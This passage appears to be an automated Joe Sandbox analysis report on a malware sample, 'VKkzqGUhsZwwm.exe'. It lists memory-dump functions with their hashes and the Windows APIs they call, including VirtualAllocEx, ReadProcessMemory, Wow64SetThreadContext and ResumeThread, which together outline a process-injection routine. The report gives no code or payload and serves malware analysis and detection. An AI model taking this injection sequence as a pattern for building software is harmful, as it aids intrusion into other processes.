API String ID: 3559483778-0
Opcode ID: 7910d168003a5e9baf318d19b5037cc8182c514e3ad8281671491df014edba63
Instruction ID: e5ed6ff4420843b34f234369978f482cec73d3958705904f8753e2259a74751c
Opcode Fuzzy Hash: 7910d168003a5e9baf318d19b5037cc8182c514e3ad8281671491df014edba63
Instruction Fuzzy Hash: 1E2139B1D003099FCB10DFAAC985BEEBBF5FF48310F108429E919A7250C7789944CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 06B848A8 Relevance: 1.6, APIs: 1, Instructions: 68threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06B8492E

Memory Dump Source

Source File: 0000000A.00000002.2046923728.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ce4f34df74e2ca0c1b12e992392a6b1f5d29fdf81fb18d4d4374df16d603546d
Instruction ID: deeea7fc9e33e8787630c0ba8ce6302cc8aa77c1ce6cd0ff9eaf1882add2d0ba
Opcode Fuzzy Hash: ce4f34df74e2ca0c1b12e992392a6b1f5d29fdf81fb18d4d4374df16d603546d
Instruction Fuzzy Hash: D4216DB1D003098FDB10DFAAC5857EEBBF4EF48314F108429D459A7241C7789545CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0251C9E0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0251D306,?,?,?,?,?), ref: 0251D3C7

Memory Dump Source

Source File: 0000000A.00000002.2042281318.0000000002510000.00000040.00000800.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2510000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: efd98c3be33eb8a74da417bf3de3859295eb77f0aa325b0ecc3a4c362ad26182
Instruction ID: 3c4795787bb15e17a39b1cbb7c3e6e06c08ce4dbc0c6e6d59427a70662061efc
Opcode Fuzzy Hash: efd98c3be33eb8a74da417bf3de3859295eb77f0aa325b0ecc3a4c362ad26182
Instruction Fuzzy Hash: 0B21E6B59012089FDB10CF9AD584AEEFFF4FB48314F14845AE914A7310D378A954CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0251D338 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0251D306,?,?,?,?,?), ref: 0251D3C7

Memory Dump Source

Source File: 0000000A.00000002.2042281318.0000000002510000.00000040.00000800.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2510000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 920b5ebbc138211ad54131583b11d7db1208761e814de27fd91c23e678bd7a4f
Instruction ID: c0364e2068cc73f07718fb1262af6fc0a759d8258b93d6f4e1a36e3fa44c9c39
Opcode Fuzzy Hash: 920b5ebbc138211ad54131583b11d7db1208761e814de27fd91c23e678bd7a4f
Instruction Fuzzy Hash: CA21E4B5900208AFDB10CF9AD984ADEBFF9FB48314F14841AE918A3310C378A940CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06B84B37 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06B84BB8

Memory Dump Source

Source File: 0000000A.00000002.2046923728.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: bb7290577a5d400aff5d23d17f201581c3c7e1c27fb2585aad9fa39d4374c072
Instruction ID: f593e932f5782169583b054957c374ff5dd2db7bc6d36429cba853e57747b46d
Opcode Fuzzy Hash: bb7290577a5d400aff5d23d17f201581c3c7e1c27fb2585aad9fa39d4374c072
Instruction Fuzzy Hash: 6021F5B1C003599FDB10DFAAC985AEEBBF5FF48310F50842AE519A7250C7789944DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06B84B38 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06B84BB8

Memory Dump Source

Source File: 0000000A.00000002.2046923728.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1e4d1e90f0e40f01a1707613042d2c09e543df45041352cecb64f3c9fd4b5abb
Instruction ID: 83ed43e181ad6bdd835aed734e72bad5e367034266659cb24a84e9b939710b4d
Opcode Fuzzy Hash: 1e4d1e90f0e40f01a1707613042d2c09e543df45041352cecb64f3c9fd4b5abb
Instruction Fuzzy Hash: F921F5B1C003599FDB10DFAAC985AEEBBF5FF48310F50842AE519A7250C7789944DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 06B848B0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06B8492E

Memory Dump Source

Source File: 0000000A.00000002.2046923728.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 0b2a13c6007166bd0f7dfa37ee09f7c5e4f5f0ede506aed6d2a1738531bc3da8
Instruction ID: bbe14b92de051854c651cdba80cb0071c791262a15e9fb8b311ffb991bc3e74a
Opcode Fuzzy Hash: 0b2a13c6007166bd0f7dfa37ee09f7c5e4f5f0ede506aed6d2a1738531bc3da8
Instruction Fuzzy Hash: 6C215BB1D003098FDB10DFAAC9857EEBBF4EF48324F108429D459A7241CB789944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06B84980 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06B849F6

Memory Dump Source

Source File: 0000000A.00000002.2046923728.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f84465078848fc562dac0678d00c5400b24e24e2b1b8121de2bcacbb93b3dd84
Instruction ID: 281af91dbd14695853a7c858fa3767629e4d663e0a2bde52265097d3959df15b
Opcode Fuzzy Hash: f84465078848fc562dac0678d00c5400b24e24e2b1b8121de2bcacbb93b3dd84
Instruction Fuzzy Hash: 751129718002499FDB20DFAAC945BDFBFF5EF48320F248419E559A7250C775A584CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0251A8B0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0251B141,00000800,00000000,00000000), ref: 0251B352

Memory Dump Source

Source File: 0000000A.00000002.2042281318.0000000002510000.00000040.00000800.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2510000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: aa46d7e3fe2d0f8c43d8d978992dbc89117b11a08874a3a5b1fa727ccd814d4a
Instruction ID: b6db44eed4f4ec31e8a7fb005014cecc1b5f4f44ae013701620ca034dddac979
Opcode Fuzzy Hash: aa46d7e3fe2d0f8c43d8d978992dbc89117b11a08874a3a5b1fa727ccd814d4a
Instruction Fuzzy Hash: D21126B69003099FDB14CF9AC444ADEFBF4FB48314F10846AE519A7210C379A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0251B2E0 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0251B141,00000800,00000000,00000000), ref: 0251B352

Memory Dump Source

Source File: 0000000A.00000002.2042281318.0000000002510000.00000040.00000800.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2510000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 97a83349568c63bf8b9090b27dc7b236b07f0ff38e75b0ec18ef361172fd0f17
Instruction ID: ed00ae1dd4b38a696dff24801788a75fc002dae5318175785494afdbbeaf8d82
Opcode Fuzzy Hash: 97a83349568c63bf8b9090b27dc7b236b07f0ff38e75b0ec18ef361172fd0f17
Instruction Fuzzy Hash: 861112B69003498FDB14DFAAC484ADEFBF5BB48318F14846AE819A7210C379A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06B84988 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06B849F6

Memory Dump Source

Source File: 0000000A.00000002.2046923728.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0c7f6d6b36ee45d838239a960c09bdd7d63479395186437a1aa644b4fb3da2c0
Instruction ID: be2eaace2278fc4ab8377a05157d2eaa32624a2fb2c8fabbaf2c2e83fbfe3dec
Opcode Fuzzy Hash: 0c7f6d6b36ee45d838239a960c09bdd7d63479395186437a1aa644b4fb3da2c0
Instruction Fuzzy Hash: 4D1149B18002499FCB10DFAAC844BEFBFF5EF48320F108419E519A7250C779A940CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06B847FF Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06B84862

Memory Dump Source

Source File: 0000000A.00000002.2046923728.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2f061ca724fa94c8e696ea097deafd931d15fb90331bea34333c71dbb643b18b
Instruction ID: 0af3d598ec738b1996ab63d64e3a9fc99dc98db596c1ffa9e682517948f3a46d
Opcode Fuzzy Hash: 2f061ca724fa94c8e696ea097deafd931d15fb90331bea34333c71dbb643b18b
Instruction Fuzzy Hash: EA1128B1D002498FDB20DFAAC8457AFFBF5EF88724F108459D519A7250CB79A944CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 06B87C10 Relevance: 1.6, APIs: 1, Instructions: 50windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06B87C75

Memory Dump Source

Source File: 0000000A.00000002.2046923728.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: cbcc32b1bc0ab2abeac272cccc682dd54dc87bf4930a976e387e6be78f5285c0
Instruction ID: a169168a2b41408df4df6be572fb1e07936bfd031f4a649d2e41feb5ca513254
Opcode Fuzzy Hash: cbcc32b1bc0ab2abeac272cccc682dd54dc87bf4930a976e387e6be78f5285c0
Instruction Fuzzy Hash: CE1113B58003489FCB10DF9AC845BDEBBF8FF48324F208459E558A3210C375A584CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06B84800 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06B84862

Memory Dump Source

Source File: 0000000A.00000002.2046923728.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 658128819136768f5f78eaa0cacb48c70d49ec6a3beb8a4e6c5966c5b788b9e1
Instruction ID: f641a59e19e4feb92eb77352ac526d5c3097fdd664d43945b4924fdf20ab5cd9
Opcode Fuzzy Hash: 658128819136768f5f78eaa0cacb48c70d49ec6a3beb8a4e6c5966c5b788b9e1
Instruction Fuzzy Hash: 901136B1D003498FDB20DFAAC8457AFFBF5EF88724F208459D519A7250CB79A944CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0251B060 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0251B0C6

Memory Dump Source

Source File: 0000000A.00000002.2042281318.0000000002510000.00000040.00000800.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2510000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 03dbffec7646dd0aa5a185f997a002cbc0e4a061151e62b02133f9958d7cbd83
Instruction ID: 13278053b04f28130b9f3ecb8d223cd628fcaebdb2934268589104c862dbc22d
Opcode Fuzzy Hash: 03dbffec7646dd0aa5a185f997a002cbc0e4a061151e62b02133f9958d7cbd83
Instruction Fuzzy Hash: 6111DFB5C003498FDB20DF9AD444AEEFBF4FF89228F10845AD429A7610C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06B85F7C Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06B87C75

Memory Dump Source

Source File: 0000000A.00000002.2046923728.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_VKkzqGUhsZwwm.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: f4ed5aa4caa987bf584cd8967965dbbbbeb06daf800843bf3b0bb26756d42bd3
Instruction ID: cb58c13d737b0b707227e133280b25161ac65d08c4e3ac7efa4bc85f383ab0c5
Opcode Fuzzy Hash: f4ed5aa4caa987bf584cd8967965dbbbbeb06daf800843bf3b0bb26756d42bd3
Instruction Fuzzy Hash: 661106B5800348DFDB10DF9AC984BDEBFF8EB48314F208469E518A7211C375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AFD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2041630848.0000000000AFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_afd000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3f2f66d925d766c4ec6ab41b19c481dd5e6a5dbc156ee60717f594c17bea4
Instruction ID: b93ff6f85d17820871a55abd516d1d74c2ee53e2620976cd237a9399073c5dd7
Opcode Fuzzy Hash: b4a3f2f66d925d766c4ec6ab41b19c481dd5e6a5dbc156ee60717f594c17bea4
Instruction Fuzzy Hash: 6F212571500248DFCB16DF94D9C0F36BF66FB98318F20C569EA090B256C33AD816DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00AFD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2041630848.0000000000AFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_afd000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 484482a787d46f1d9cada3d909112e22a84e3bf39d0ba46897e10f7c444d3344
Instruction ID: 07430492ab13002f14761e7412ce18f1ff14117433986129bdb1795464ad2185
Opcode Fuzzy Hash: 484482a787d46f1d9cada3d909112e22a84e3bf39d0ba46897e10f7c444d3344
Instruction Fuzzy Hash: F7212871500208DFDB06DF54D9C0F26BF66FB98315F20C569EA090B256C33AE856D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00B0D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2041784763.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b0d000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a585199f1eb0f0521e983aabc6429edef56399b1bb0a5c9193fc5803958ab365
Instruction ID: 309e16eec22965918ca53503f6cba4e50dc238b0bed117d51dfa923b30036867
Opcode Fuzzy Hash: a585199f1eb0f0521e983aabc6429edef56399b1bb0a5c9193fc5803958ab365
Instruction Fuzzy Hash: 5D21C271604204EFDB05DFA4D9C0B26BFA5FB88314F24C5ADE9494B2D6C33AD856CA61

Uniqueness

Uniqueness Score: -1.00%

Function 00B0D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2041784763.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b0d000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8686021a57d32f4a25ac9c7353730787b70640f1a57970397d789f6888ffc2c5
Instruction ID: 482b8193c0b8e1f2858db921619f446221ef8d6f74f24a559ba0e76b60d0b2f0
Opcode Fuzzy Hash: 8686021a57d32f4a25ac9c7353730787b70640f1a57970397d789f6888ffc2c5
Instruction Fuzzy Hash: 7F21D071604204DFDB14DF64D9D4B26BFA5FB88314F20C5A9D94E4B2D6D33AD806CA62

Uniqueness

Uniqueness Score: -1.00%

Function 00B0D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2041784763.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b0d000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bb8aeb605a391f26e439954aec2c3b1cba5b28b04ec25ab15d200bf674e6595
Instruction ID: 52d3f4bb649e1a86de0075c2815c593dc2322a6caf850028a8294fa617e695b3
Opcode Fuzzy Hash: 4bb8aeb605a391f26e439954aec2c3b1cba5b28b04ec25ab15d200bf674e6595
Instruction Fuzzy Hash: 0F2192755083809FCB02CF54D994B11BFB1FB46314F28C5DAD8498F2A7D33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00AFD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2041630848.0000000000AFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_afd000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: cee1cbcc48676d0302824d15f91addf646a5361bbe6b6db6d116264bf7f2d698
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: BD112672404284CFCF02CF50D5C4B26BF72FB98314F24C6A9E9490B256C336D85ADBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00AFD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2041630848.0000000000AFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_afd000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 8f76cfaec6b85c7fda3b79b5513c4549dcb333564aec678755d07a6610038d0f
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: FB112672404244CFCB02CF40D5C4B26BF72FB94324F24C6A9E9090B656C33AE85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00B0D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2041784763.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b0d000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 5106b3fc520553736751aa052618735168d6387efff3526e5fa0125fd7b23c5c
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 4C11BB75504280DFCB02CF54C5C4B15BFA1FB84314F24C6A9D8494B696C33AD80ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00AFD745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2041630848.0000000000AFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_afd000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0367d5ce42cda3a7854b514faf70484649f2aea51842c68dae6a6feaf2d0c566
Instruction ID: 4cd22713fef6f35f5150b6aab8c19dfdc28d1f1df24d8268e82433a9caa989d5
Opcode Fuzzy Hash: 0367d5ce42cda3a7854b514faf70484649f2aea51842c68dae6a6feaf2d0c566
Instruction Fuzzy Hash: 5C01F7310043489AE722AB95CD84B76BFACEF45364F18C52AFE080E296C2399841CA71

Uniqueness

Uniqueness Score: -1.00%

Function 00AFD744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2041630848.0000000000AFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_afd000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dccd24f70ba554215c04790f25748581cecf1ddbb87541321fe07eec98e1bb9d
Instruction ID: fa45614fe59902cf044ce08d1472b5566163fc37557619e1941c702182eef89d
Opcode Fuzzy Hash: dccd24f70ba554215c04790f25748581cecf1ddbb87541321fe07eec98e1bb9d
Instruction Fuzzy Hash: E3F06271404344AAE7119F56C888B62FF98EF55734F18C45AFE484F296C2799C44CAB1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: VKkzqGUhsZwwm.exePID: 7540, Parent PID: 7260COMMON

Execution Graph

Execution Coverage:	12.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	2

Executed Functions

Function 02AA9B30 Relevance: 2.8, Instructions: 2830COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ca72bada86895ffd550e2f3696fb4dc48395462dc969f82ce7198baa4dc7935
Instruction ID: 43ed4d703c5842c5dc54b65e1f5b6669a711f333d454fbfef9908304ba94a66d
Opcode Fuzzy Hash: 9ca72bada86895ffd550e2f3696fb4dc48395462dc969f82ce7198baa4dc7935
Instruction Fuzzy Hash: 4863F531D10B1A8ADB11EF68C8946A9F7B1FF99300F51D79AE05867121FB70AAD4CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02AACE88 Relevance: 2.3, Instructions: 2318COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d7a871039d56580d8d72053d384cb72db94fe8c03b339bd0a5dd7556dfa3be9
Instruction ID: f86c9bf969b207e0c2ca300172cddd3b0502fecf8067dc9f6972b3a3d425301b
Opcode Fuzzy Hash: 5d7a871039d56580d8d72053d384cb72db94fe8c03b339bd0a5dd7556dfa3be9
Instruction Fuzzy Hash: 32332E31D10B198EDB15DF68C8906ADF7B1FF89300F15C79AE458A7225EB70AAC5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02AA9378 Relevance: .6, Instructions: 614COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e78410651314b426a0687d818c547a2e3f360fe46e911fa8120a92a606108aa
Instruction ID: ee6f28d09787b04db782ab4829ce76933f519d7b411e251ec18dcccbc4ca19ae
Opcode Fuzzy Hash: 2e78410651314b426a0687d818c547a2e3f360fe46e911fa8120a92a606108aa
Instruction Fuzzy Hash: 44328E74A002068FDB14DF68D594BAEBBB6FF88311F248469E80ADB395DB35DC45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02AA4A98 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f838c4161db94a991b8c38a19e2920bf92551129164887e727dc09514ad22a2
Instruction ID: be1a0ce18bb2124f365a86845910292f069e452482345b279e7743985d8cc042
Opcode Fuzzy Hash: 1f838c4161db94a991b8c38a19e2920bf92551129164887e727dc09514ad22a2
Instruction Fuzzy Hash: E2B15F70E003098FDB10CFA9C9917ADBBF2AF88314F148529E819E7254EFB59845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02AA3E80 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22ad4ee4aeef4a3d0f4916609c082522e62852d792792078986426b0d28db3e8
Instruction ID: 8162bea1b3a5cec6b1413a71c437e7d9b78d3505a7acbb5e12a752d9580817de
Opcode Fuzzy Hash: 22ad4ee4aeef4a3d0f4916609c082522e62852d792792078986426b0d28db3e8
Instruction Fuzzy Hash: 0D913B70E10209DFDF14CFA9C9A57DEBBF2AF88314F14812AE415AB254EB749845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02AA6ED8 Relevance: 2.6, Strings: 2, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LRjq, xrefs: 02AA6FE9
LRjq, xrefs: 02AA6F0E

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID: LRjq$LRjq
API String ID: 0-348097489
Opcode ID: 7418e6dbd45030858da88b23b5eade4078c6761daa56af010c13ddbd88376520
Instruction ID: e7d5290e9b9e6187f616dde212b997bb4b23cfaf90b59f959d86f3cd2fd58ef3
Opcode Fuzzy Hash: 7418e6dbd45030858da88b23b5eade4078c6761daa56af010c13ddbd88376520
Instruction Fuzzy Hash: DE41C030A002058FDB15DF78D9657AEB7B6EF89310F20896AE416EB290EF759842CB51

Uniqueness

Uniqueness Score: -1.00%

Function 05F4E198 Relevance: 1.6, APIs: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
